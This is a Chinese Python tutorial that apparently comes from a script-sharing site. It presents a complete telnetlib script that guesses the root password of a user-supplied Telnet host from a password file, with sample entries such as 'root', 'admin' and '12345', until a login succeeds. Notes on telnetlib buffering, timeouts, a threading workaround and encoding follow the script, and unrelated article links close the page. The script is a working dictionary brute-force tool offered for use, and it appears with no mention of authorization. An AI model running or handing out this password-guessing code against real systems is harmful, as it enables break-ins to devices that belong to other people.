Python實(shí)現(xiàn)Telnet自動(dòng)連接檢測(cè)密碼的示例
最近在學(xué)習(xí)Python網(wǎng)絡(luò)相關(guān)編程,這個(gè)代碼實(shí)現(xiàn)了Telnet自動(dòng)連接檢測(cè)root用戶密碼,密碼取自密碼本,一個(gè)一個(gè)檢測(cè)密碼是否匹配,直到匹配成功,屏幕輸出停止。
Python內(nèi)置了telnetlib模塊,支持telnet遠(yuǎn)程操作,只要直接import就可以。
代碼如下:
# encoding=utf-8 import telnetlib import time import sys import os def do_telnet(Host, Port, username, password, finish): # 連接Telnet服務(wù)器 tn = telnetlib.Telnet(Host, Port, timeout=1) tn.set_debuglevel(3) # 輸入登錄用戶名 tn.read_until("login: ") tn.write(str(username) + '\n') # 輸入登錄密碼 tn.read_until("Password: ") tn.write(str(password) + '\n') # 判斷密碼錯(cuò)誤提示,如果沒有這個(gè)提示說明登錄成功 if tn.read_until(finish): print("****** login incorrect!\n") tn.close() if __name__ == '__main__': Host = input("IP:") # Telnet服務(wù)器IP Port = input("Port:") # Telnet服務(wù)器端口 username = 'root' # 登錄用戶名 finish = 'incorrect' # 密碼錯(cuò)誤提示 pw_file = open('.\\pw.txt', 'r+') # 密碼文件 Index = 0 print(time.asctime(), ": ****** begin", "\n") while True: password = pw_file.readline() Index += 1 print(Index, time.asctime(), ": ****** try", "", username, ":", password, "") if len(password) == 0: break do_telnet(Host, Port, username, password, finish) pw_file.close()
密碼本pw.txt,內(nèi)容例如:
root admin 12345 888888
輸出如下:
注:我這邊測(cè)試的目標(biāo)主機(jī)是嵌入式linux系統(tǒng),用戶名是root,密碼錯(cuò)誤返回的是incorrect提示。你可能要根據(jù)目標(biāo)系統(tǒng)不同修改用戶名和錯(cuò)誤提示。
telnetlib提供好多方法可以得到數(shù)據(jù),象read_until()是當(dāng)結(jié)果中存在想要的信息時(shí)返回,read_some()是只要有結(jié)果就返回,read_very_lazy()是返回緩沖區(qū)中的數(shù)據(jù)。經(jīng)過看代碼,telnetlib采用緩沖的處理方式,因此數(shù)據(jù)并不是一下子就返回的,而是先放在了緩沖區(qū)中。許多的讀取處理都是圍繞著這個(gè)緩沖區(qū)來的。而緩沖區(qū)的信息何時(shí)到達(dá)就不說不清楚了,也許很快,也許很慢,也許分別到達(dá),也許一下子就收到了。因此,對(duì)于數(shù)據(jù)不一定到齊的這種情況,就采用了象read_until()來判斷緩沖區(qū)中的數(shù)據(jù)是否有想要的內(nèi)容,如果沒有就等待,除非到達(dá)了超時(shí)時(shí)間。再有可以使用expect方法,與read_until差不多,但是它可以支持正則表達(dá)式,功能要強(qiáng)大得多。
在網(wǎng)上還有一個(gè)叫 Pexpect 它好象功能強(qiáng)大,它支持多種協(xié)議,它的主頁就建議使用 Pexpect 來下載它的文檔。不過因?yàn)榫W(wǎng)絡(luò)不太好就沒有下來,不知道支不支持 Telnet 協(xié)議。
上面的程序再配以 ftplib 的功能就可以做一個(gè)遠(yuǎn)程更新的維護(hù)程序。只不過如何判斷后臺(tái)返回的信息,我沒有找到好的方法,是使用read_lazy()還是read_eager()呢?還是什么別的方法。最主要的問題是,返回的數(shù)據(jù)不一定完整。好象沒有提供一個(gè)read_line()的方法。
其中port和timeout是可選的參數(shù),而timeout的只是在初始化socket連接時(shí)起作用,而一旦連接成功后如果出現(xiàn)等待那就不會(huì)起作用了,比如使用read_until方式獲取內(nèi)容時(shí)返回的內(nèi)容與指定的內(nèi)容沒有吻合,那么就會(huì)造成提示等待的情況,這時(shí)timeout是不會(huì)起作用的,而這個(gè)socket連接會(huì)一直保持著,永生不死。
那么如何解決這個(gè)問題呢,其實(shí)還有一種比較原始的方法,就是使用sleep方法來代替read_until方法,這樣就不會(huì)出現(xiàn)種情況,因?yàn)榈近c(diǎn)就會(huì)自己輸入,最多也就是最后得不到想要的結(jié)果,但是這個(gè)方式很不穩(wěn)定,兼容性也不好;另一種方法是使用線程來啟動(dòng)這個(gè)函數(shù),然后對(duì)子線程進(jìn)行超時(shí)設(shè)置,這樣就可以達(dá)到間接控制這個(gè)telnet連接的目的了。
import threading th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands)) th1.start() th1.join(20) ##20秒超時(shí)時(shí)間
遇到的問題:
傳遞給Telnet方法的字符串都會(huì)被解一次碼,所以如果你傳遞過去需要write的字符串是已經(jīng)解碼的unicode的話,那么就會(huì)報(bào)錯(cuò)的,所以在傳遞發(fā)送的字符串之前還是先編成utf-8為妥,用ascii編碼也可以。
以上就是Python實(shí)現(xiàn)Telnet自動(dòng)連接檢測(cè)密碼的示例的詳細(xì)內(nèi)容,更多關(guān)于python Telnet自動(dòng)連接檢測(cè)密碼的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
python DataFrame獲取行數(shù)、列數(shù)、索引及第幾行第幾列的值方法
下面小編就為大家分享一篇python DataFrame獲取行數(shù)、列數(shù)、索引及第幾行第幾列的值方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2018-04-04YOLOv5改進(jìn)系列之增加小目標(biāo)檢測(cè)層
yolov5出來已經(jīng)很長時(shí)間了,所以有關(guān)yolov5的一些詳細(xì)介紹在這里就不一一介紹了,下面這篇文章主要給大家介紹了關(guān)于YOLOv5改進(jìn)系列之增加小目標(biāo)檢測(cè)層的相關(guān)資料,需要的朋友可以參考下2022-09-09python讀取測(cè)試數(shù)據(jù)的多種方式
本文主要介紹了python讀取測(cè)試數(shù)據(jù)的多種方式,文中通過示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2021-08-08Python+Matplotlib繪制帶有對(duì)角線的散點(diǎn)圖的示例代碼
Matplotlib 是一個(gè)用于繪制二維圖形的 Python 庫,這篇文章主要介紹了Python如何利用Matplotlib繪制帶有對(duì)角線的散點(diǎn)圖,需要的小伙伴可以參考一下2023-06-06Python re.sub 反向引用的實(shí)現(xiàn)
反向引用指的是在指定替換結(jié)果的過程中,可以引用原始字符串中的匹配到內(nèi)容,本文主要介紹了反向引用的設(shè)置方法,感興趣的可以了解一下2021-07-07利用python實(shí)現(xiàn)凱撒密碼加解密功能
這篇文章主要介紹了利用python實(shí)現(xiàn)凱撒密碼加解密功能,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-03-03Python變量和數(shù)據(jù)類型和數(shù)據(jù)類型的轉(zhuǎn)換
這篇文章主要介紹了Python變量和數(shù)據(jù)類型和數(shù)據(jù)類型的轉(zhuǎn)換,文章圍繞主題展開詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下2022-09-09django rest framework之請(qǐng)求與響應(yīng)(詳解)
下面小編就為大家?guī)硪黄猟jango rest framework之請(qǐng)求與響應(yīng)(詳解)。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧,希望對(duì)大家有所幫助2017-11-11